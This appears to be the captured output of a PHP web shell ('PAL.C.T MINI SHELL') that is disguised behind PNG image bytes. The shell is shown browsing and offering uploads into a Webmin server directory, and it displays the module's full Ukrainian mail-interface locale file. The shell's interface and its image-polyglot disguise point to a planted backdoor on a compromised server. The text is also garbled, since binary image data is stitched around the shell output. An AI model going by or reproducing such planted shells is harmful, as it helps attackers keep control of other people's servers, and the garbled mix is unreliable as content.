php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/mailboxes/lang/
upload
files >> //usr/libexec/webmin/mailboxes/lang/uk.auto

index_title=Прочитайте користувацьку пошту
index_none=Вам заборонено читати електронну пошту жодним користувачам у цій системі.
index_header=Поштові скриньки користувачів
index_empty=Немає пошти
index_return=список користувачів
index_esystem=Жоден з підтримуваних поштових серверів (Exim, Qmail, Postfix та Sendmail) не виявлений у вашій системі. Вам потрібно буде відрегулювати конфігурацію модуля <a href='$1'></a>, щоб встановити поштовий сервер та, можливо, поштові шляхи вручну.
index_esystem2=Поштовий сервер, встановлений у конфігурації модуля <a href='$1'></a>, у вашій системі не знайдено. Вам потрібно буде налаштувати конфігурацію, щоб використовувати правильний сервер.
index_esystem3=Під час контакту з поштовою системою, налаштованою у конфігурації модуля <a href='$1'>, сталася помилка під час налаштування модуля</a> </a>: $2.
index_system6=Поштовий сервер: Exim
index_system5=Поштовий сервер: Qmail+VPopMail
index_system4=Поштовий сервер: Qmail+LDAP
index_system2=Поштовий сервер: Qmail
index_system1=Поштовий сервер: Sendmail
index_system0=Поштовий сервер: Postfix
index_toomany=У вашій системі занадто багато користувачів для відображення на одній сторінці.
index_find=Знайдіть користувачів, де ім’я користувача
index_equals=дорівнює
index_contains=містить
index_eperl=Модуль Perl $1, необхідний для вибраного режиму автентифікації SMTP, не встановлений або відсутній залежний модуль. <a href='$2'>Клацніть тут</a>, щоб встановити його зараз.
index_file=Читайте пошту у файлі чи Maildir:
index_nousers=Користувачів не знайдено!
index_nousersmail=Користувачів з електронною поштою не знайдено.

mail_title=Електронна пошта користувача
mail_from=З
mail_date=Дата
mail_subject=Тема
mail_to=До
mail_cc=Cc
mail_bcc=Копія
mail_pri=Пріоритет
mail_highest=Найвищий
mail_high=Високий
mail_normal=Нормальний
mail_low=Низький
mail_lowest=Найнижчий
mail_for=В $1
mail_for2=Для користувача $1
mail_sent=У надісланому списку пошти
mail_size=Розмір
mail_level=Оцінка
mail_delete=Видалити
mail_compose=Складіть
mail_open=відчинено
mail_return=поштова скринька користувача
mail_pos=Повідомлення $1 до $2 з $3 в $4
mail_none=У цього користувача немає повідомлень у $1
mail_ecannot=Вам заборонено читати електронну пошту цього користувача
mail_all=Вибрати все.
mail_invert=Інвертувати вибір.
mail_nosort=Скидання сортування.
mail_search=Знайдіть повідомлення де
mail_body=Тіло
mail_match=сірники
mail_ok=Пошук
mail_nonefrom=Жоден
mail_mark=Позначити як:
mail_mark0=Непрочитані
mail_mark1=Прочитайте
mail_mark2=Спеціальний
mail_forward=Вперед
mail_move=Переїжджати:
mail_copy=Скопіюйте у:
mail_rfc=З лінії
mail_eexists=Повідомлення більше не існує!
mail_fchange=Зміна
mail_indexlink=Повернення до поштової скриньки
mail_deleteall=Видалити все
mail_black=Заборонити відправників
mail_white=Дозволити відправникам
mail_whitemove=Дозволити відправникам та вхідні
mail_efile=Файл пошти не існує
mail_fromsrch=Знайдіть електронний лист із тим самим відправником
mail_subsrch=Знайдіть електронну пошту з тією ж темою
mail_tosrch=Знайдіть електронний лист із одержувачем
mail_fromfilter=Створіть фільтр відправника
mail_tofilter=Створіть фільтр за одержувачем
mail_subfilter=Створіть фільтр за темою
mail_unknown=Невідомо

mail_sign=Підпишіть ключем
mail_nosign=&lt;Не підписувати&gt;
mail_crypt=Шифрувати для
mail_nocrypt=&lt;Не шифрувати&gt;
mail_samecrypt=&lt;Ключі від адреси призначення&gt;
mail_addresses=Управління адресною книгою
mail_folders=Управління папками
mail_err=Під час переліку пошти в цій папці сталася помилка : $1
mail_loginheader=Вхід на сервер POP3
mail_loginheader2=Логін IMAP-сервера
mail_logindesc=Ви повинні ввести ім'я користувача та пароль, щоб отримати доступ до пошти в папці "Вхідні" на поштовому сервері $1.
mail_loginuser=Ім'я користувача
mail_loginpass=Пароль
mail_loginmailbox=Поштова скринька IMAP
mail_login=Вхід
mail_reset=Ясно
mail_logout=Змінити логін POP3
mail_logout2=Змінити логін IMAP
mail_sig=Редагувати підпис
mail_jump=Перейти на сторінку :
mail_of=з
mail_replyto=Відповідати на
mail_folder=Папка
mail_delall=Видалити все
mail_deltrash=Порожній кошик
mail_search2=Шукати:
mail_search3=Знайдіть з оцінкою вище:
mail_advanced=розширений пошук
mail_return2=Електронна пошта користувача
mail_esystem=Під час контакту з поштовою системою сталася помилка: $1. Це має бути зафіксовано системним адміністратором.
mail_selread=Виберіть прочитане.
mail_selunread=Виберіть непрочитані.
mail_selspecial=Виберіть спеціальний.
mail_specialsync=Синхронізація спеціальна

view_title=Читайте електронну пошту
view_desc=Повідомлення $1 в $2
view_desc2=Повідомлення $1 для користувача $2
view_desc3=Повідомлення $1
view_sent=Повідомлення $1 у списку відправлених листів
view_qdesc=Повідомлення в черзі $1
view_headers=Заголовки пошти
view_body=Вміст повідомлення
view_nobody=Це повідомлення не містить змісту тіла.
view_allheaders=Переглянути всі заголовки
view_noheaders=Перегляд основних заголовків
view_attach=Вкладення
view_afile=Назва вкладеного файлу
view_atype=Тип вкладення
view_aactions=Дії
view_aview=Вид
view_aopen=відчинено
view_asave=Зберегти
view_aplain=Сирий
view_anofile=Файлу немає
view_asize=Розмір файлу
view_reply=Відповісти
view_reply2=Відповісти всім
view_enew=Редагувати як нове
view_forward=Вперед
view_delete=Видалити
view_print=Друк
view_strip=Видаліть додатки
view_ecannot=Вам заборонено читати електронну пошту цього користувача
view_mark=Позначити як:
view_mark0=Непрочитані
view_mark1=Прочитайте
view_mark2=Спеціальний
view_markas0=Непрочитані
view_markas1=Прочитайте
view_markas2=Спеціальний
view_return=оригінальний електронний лист
view_sub=Приєднаний електронний лист
view_sub2=Доданий електронний лист від $1
view_egone=Це повідомлення більше не існує
view_eugone=Цей користувач не існує

view_gnupg=Перевірка підпису GnuPG
view_gnupg_0=Підпис $1 є дійсним.
view_gnupg_1=Підпис $1 є дійсним, але ланцюжок довіри неможливо було встановити.
view_gnupg_2=Підпис від $1 дійсний <b>НЕ</b>.
view_gnupg_3=Ідентифікатор ключа $1 відсутній у вашому списку, тому підпис не вдалося підтвердити.
view_gnupg_4=Не вдалося перевірити підпис : $1
view_crypt=Розшифрування пошти GnuPG
view_crypt_1=Повідомлення зашифроване, але підтримка GnuPG не встановлена.
view_crypt_2=Не вдалося розшифрувати повідомлення : $1
view_crypt_3=Пошта успішно розшифрована.
view_crypt_4=Зашифрована частина повідомлення була успішно розшифрована.
view_recv=<a href='$2'>Вилучити ідентифікатор ключа $1 від сервера ключів</a>.
view_folder=Повернення до поштової скриньки
view_dheader=Від'єднати вкладення до сервера
view_detach=Файл вилучення:
view_dall=&lt;Усі файли&gt;
view_dir=до файлу або каталогу сервера:
view_black=Заборонити Сендера
view_white=Дозволити відправника
view_whitemove=Дозволити відправника та папки "Вхідні"
view_razor=Поскаржитись на спам
view_ham=Повідомте шинку
view_hammove=Повідомте шинку та папку "Вхідні"
view_razordel=Видалити спам
view_dstatus=Не вдалося отримати статус
view_dstatusok=Статус успішної доставки
view_final-recipient=Кінцевий одержувач
view_diagnostic-code=Причина відмови
view_remote-mta=Віддалений поштовий сервер
view_reporting-mta=Повідомлення поштового сервера
view_astext=Переглянути як текст
view_ashtml=Переглянути як HTML
view_images=Показати зображення
view_raw=Переглянути необроблене повідомлення
view_aall=Збережіть усі вкладення як ZIP.
view_aslideshow=Показати всі зображення

compose_title=Створити електронну пошту

reply_title=Відповідь на електронну пошту
forward_title=Переслати електронну пошту
enew_title=Редагування електронної пошти
reply_headers=Заголовки пошти
reply_attach=Переслані вкладення
reply_mailforward=Переслані повідомлення
reply_attach2=Клієнтські та серверні вкладення
reply_attach3=Завантажені вкладення
reply_send=Надіслати пошту
reply_ecannot=Вам не дозволяється надсилати пошту як цьому користувачеві
reply_body=Текст повідомлення
reply_errc=Не вдалося скопіювати пошту
reply_errm=Не вдалося перемістити пошту
reply_return=скласти пошту
reply_efwdnone=Жодне з пересланих повідомлень не існує
reply_dsn=Попросити сповіщення про стан читання?
reply_del=Попросити повідомлення про стан доставки?
reply_aboot=Додати одержувачів до адресної книги?
reply_tabfrom=З
reply_tabto=До
reply_tabreplyto=Відповідати на
reply_tabcc=Cc
reply_tabbcc=Копія
reply_tabsigning=Підписання
reply_taboptions=Параметри
reply_addattach=Додати поле вкладення.
reply_addssattach=Додати поле вкладення на стороні сервера.
reply_html0=Складіть текст
reply_html1=Складіть HTML

reply_spell=Перевірити наявність орфографічних помилок?
reply_draft=Зберегти як чернетку
reply_save=Збереження та редагування

send_err=Не вдалося надіслати пошту
send_eto=Відсутня адреса
send_efrom=Відсутнє з адреси
send_esubject=Відсутня тема електронної пошти
send_title=Надіслано поштою
send_title2=Збережено пошту
send_ok=Пошта успішно надіслана до $1
send_sending=Надсилання пошти на $1 ..
send_ecannot=Вам не дозволяється надсилати пошту як цьому користувачеві
send_esmtp=Команда SMTP $1 не вдалася : $2
send_eattach=Вкладення не можуть перевищувати розмір $1 kB.
send_eperms=Користувач $1 не може читати $2
send_eperms2=Вам не дозволяється надсилати файл $1
send_epath=Виконаний файл Sendmail $1 не існує.
send_efile=Не вдалося прочитати вкладення $1 : $2 
send_done=.. зроблено.

send_epass=Ви не можете підписати повідомлення, оскільки ваша парольна фраза ще не налаштована в модулі GnuPG.
send_esign=Не вдалося підписати повідомлення : $1
send_ekey=Не вдалося знайти ключ для електронної адреси $1
send_ecrypt=Не вдалося зашифрувати повідомлення : $1
send_eword=Неправильне слово $1
send_eword2=Неправильне слово $1 - можливі виправлення $2
send_eline=У рядку $1 :
send_espell=У вашому повідомленні були знайдені такі помилки написання ..
send_draft=Пошта на $1 збережена в папці чернетки.
send_drafting=Збереження пошти у $1 у папці чернетки ..
send_eattachsize=Вкладення пошти перевищило максимально допустимий розмір $1 байт

delete_title=Видалити пошту
delete_rusure=Ви впевнені, що хочете видалити вибрані повідомлення $1 з $2? Великий поштовий файл може зайняти деякий час. Поки видалення не закінчено, жодних інших дій не слід проводити.
delete_rusure2=Ви впевнені, що хочете видалити це повідомлення з $1? Великий поштовий файл може зайняти деякий час. Поки видалення не закінчено, жодних інших дій не слід проводити.
delete_ok=Видалити зараз
delete_ecannot=Тепер ви можете видалити пошту від цього користувача
delete_enone=Для видалення не вибрано пошту
delete_emnone=Не вибрано пошту для позначення
delete_efnone=Не вибрано пошту для пересилання
delete_ebnone=Не вибрано пошту для заборони
delete_ewnone=Не вибрано пошту для дозволу
delete_ernone=Не вибрано пошту для повідомлення про спам
delete_ehnone=Не вибрано пошту для повідомлення про шинку
delete_emoveuser=Користувача для переміщення пошти не існує
delete_ecopyuser=Користувача для копіювання пошти не існує
delete_emovecannot=Вам не дозволяється переміщувати пошту вказаному користувачеві
delete_ecopycannot=Вам заборонено копіювати пошту вказаному користувачеві
delete_emovenone=Для переміщення не вибрано пошту
delete_ecopynone=Для копіювання не вибрано пошту
delete_nobutton=Не натиснуто жодної кнопки
delete_ereport=Не вдалося повідомити як спам : $1
delete_errc=Не вдалося скопіювати пошту
delete_errm=Не вдалося перемістити пошту

confirm_title=Підтвердьте Видалити
confirm_warn=Ви впевнені, що хочете видалити вибрані повідомлення $1 з цієї папки?
confirm_warnf=Ви впевнені, що хочете видалити вибрані повідомлення $1 з папки <b>$2</b>?
confirm_warn2=Через розмір та формат вашої поштової скриньки це може зайняти деякий час. Поки видалення не закінчено, жодних інших дій не слід проводити.
confirm_warn3=Ви впевнені, що хочете видалити це повідомлення?
confirm_warn4=Поки видалення не закінчено, жодних інших дій не слід проводити.
confirm_ok=Видалити зараз
confirm_warnall=Ви впевнені, що хочете видалити всі повідомлення з цієї папки?
confirm_warnallf=Ви впевнені, що хочете видалити всі повідомлення з папки <b>$1</b>?

search_title=Результати пошуку
search_ecannot=Вам не дозволяється шукати електронну пошту цього користувача
search_ematch=Ви повинні ввести текст, щоб відповідати.
search_escore=Відсутня або недійсна оцінка спаму
search_efield=Ви повинні вибрати тип пошуку.
search_ewhat=Для рядка $1 жодного тексту, який не повинен відповідати
search_enone=Критерії пошуку не введені
search_none=Не знайдено повідомлень
search_results2=$1 поштові повідомлення, що відповідають $2
search_results3=$1 поштові повідомлення не відповідають $2
search_results4=$1 поштові повідомлення, що відповідають вашому пошуку
search_results5=$1 поштові повідомлення, де $2 відповідає $3
search_msg2=Результати пошуку для $1
search_msg4=Результати пошуку
search_msg5=Результати пошуку спаму з оцінкою $1
search_msg6=Результати пошуку для поля $1 у полі $2
search_local=У локальних папках
search_all=У всіх папках
search_limit=(з останніх повідомлень $1)
search_status=Зі статусом
search_attach=Повинно мати вкладення?
search_allstatus=Будь-який
search_onestatus=Тільки статус
search_latest=Повідомлення для пошуку
search_nolatest=Все в папці
search_latestnum=Тільки останні
search_elatest=Відсутня або недійсна кількість повідомлень для пошуку
search_withstatus=, зі статусом $1

folder_inbox=Вхідні
folder_sent=Надіслати пошту
folder_drafts=Чернетки
folder_trash=Сміття

detach_err=Не вдалося вилучити файл
detach_edir=Немає файлу чи каталогів, які можна зберегти
detach_eopen=Не вдалося відкрити $1 : $2 
detach_ewrite=Не вдалося записати на $1 : $2 
detach_title=Від'єднати файл
detach_ok=Написав додаток до файлу на стороні сервера $1 ($2).

sform_title=розширений пошук
sform_header=Розширені варіанти пошуку електронною поштою
sform_andmode=Режим критеріїв
sform_and=Знайдіть повідомлення, що відповідають усім критеріям нижче.
sform_or=Знайдіть повідомлення, що відповідають будь-яким критеріям нижче.
sform_neg0=містить
sform_neg1=не містить
sform_ok=Шукайте зараз
sform_folder2=Пошук у папках
sform_all=&lt;Усі папки&gt;
sform_local=&lt;Локальні папки&gt;
sform_where=Де
sform_text=текст
sform_from=З: заголовок
sform_subject=Тема: заголовок
sform_to=До: заголовок
sform_cc=Cc: заголовок
sform_bcc=Bcc: заголовок
sform_date=Дата: заголовок
sform_body=тіло повідомлення
sform_headers=будь-який заголовок
sform_allmsg=ціле повідомлення
sform_size=розмір повідомлення
sform_return=розширена форма пошуку

find_enone=Не знайдено користувачів, які відповідають вашому пошуку
find_title=Результати пошуку
find_results=Користувачі, які відповідають пошуку $1 ..
find_user=Ім'я користувача
find_real=Справжнє ім'я
find_group=Групувати
find_home=Домашній каталог
find_size=Розмір пошти
find_incount=Електронні листи
find_sentcount=Надісланий
find_fcount=Папки
find_in=$1 в $2

acl_none=Жоден
acl_same=Користувач з таким іменем
acl_all=Усі
acl_read=Користувачі, чия пошта може бути прочитана
acl_users=Тільки користувачі
acl_userse=Усі, крім користувачів
acl_usersg=Члени груп
acl_from=Дозволено з адрес
acl_any=Будь-яка адреса
acl_fdoms=Домени поштової скриньки @
acl_faddrs=Перелічені адреси
acl_fdom=Будь-яка адреса @ домен
acl_fromname=Справжнє ім’я для адреси
acl_apath=Обмежте файли та програму до каталогу
acl_attach=Максимальний загальний розмір вкладених файлів
acl_unlimited=Необмежений
acl_sent=Зберігати надіслану пошту в поштовій скриньці
acl_canattach=Чи можна вкладати файли на стороні сервера?
acl_candetach=Чи можна від’єднати файли на сервері?
acl_usersm=Користувачі відповідають
acl_asame=Те саме, що ім’я користувача
acl_usersu=З UID в діапазоні
acl_sec=Включити вторинні групи?
acl_dir=Може читати поштові файли в каталозі
acl_dirauto=Приймайте рішення автоматично (де завгодно, якщо всі користувачі видно, ніде інакше)

log_delmail=Видалено $1 повідомлення з $2
log_movemail=Переміщено $1 повідомлення з $2 в $3
log_copymail=Скопійовано $1 повідомлення з $2 в $3
log_send=Надіслано на $1
log_read=Читати пошту для $1

emodified=Ця папка була змінена з моменту її останнього перегляду! Поверніться до <a href='$1'>списку пошти</a> та повторіть спробу.

razor_title=Повідомлення як спам
razor_title2=Репортаж як Хам
razor_report=Повідомлення про це повідомлення Razor та іншим базам даних, що блокують спам SpamAssassin ..
razor_report2=Повідомлення про вибрані повідомлення Razor та іншим базам даних, що блокують спам SpamAssassin ..
razor_report3=Скасування повідомлення про вибрані повідомлення Razor та іншим SpamAssassin-блокам, що блокують спам.
razor_done=.. зроблено
razor_err=.. не вдалося! Дивіться повідомлення про помилку вище для причини.
razor_moved=.. зроблено, і перейшов до папки $1.
razor_deleted=.. зроблено, і видалене повідомлення теж.

ham_title=Репортаж як Хам
ham_report=Повідомлення про це повідомлення як неспам для Razor та інших баз даних SpamAssassin ..

black_title=Заперечення відправника
black_done=До списку відхилених адрес SpamAssassin додано адресу електронної пошти $1.
black_already=Адреса електронної пошти $1 вже є у списку відхилених SpamAssassin адрес.

white_title=Дозволити відправника
white_done=До списку дозволених адрес SpamAssassin додано адресу електронної пошти $1.
white_already=Адреса електронної пошти $1 вже є у списку дозволених адрес SpamAssassin.

ldap_emod=Відсутній модуль Perl $1, необхідний для підключення до LDAP
ldap_econn=Не вдалося підключитися до сервера LDAP $1 порт $2
ldap_elogin=Не вдалося прив’язатись до сервера LDAP $1 як $2 : $3 
ldap_ehost=У конфігурації модуля не встановлено сервер LDAP
ldap_eport=У конфігурації модуля не встановлено дійсний порт сервера LDAP
ldap_euser=У конфігурації модуля не встановлено вхід для LDAP
ldap_ebase=У конфігурації модуля не встановлено DN базової LDAP

delall_title=Видалити всю пошту
delall_rusure=Ви впевнені, що хочете видалити весь електронний лист із $1? $2 повідомлення на загальну суму $3 буде видалено назавжди.
delall_ok=Видалити зараз

slide_title=Додані зображення
slide_prev=Попередній
slide_next=Далі

left_mail=Пошта
left_search=Пошук:
left_folders=Управління папками
left_addresses=Адресна книга
left_prefs=Налаштування пошти
left_forward=Переслати електронну пошту
left_autoreply=Автоматична відповідь
left_filter=Фільтри електронної пошти
left_pass=Змінити пароль
left_sig=Редагувати підпис
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`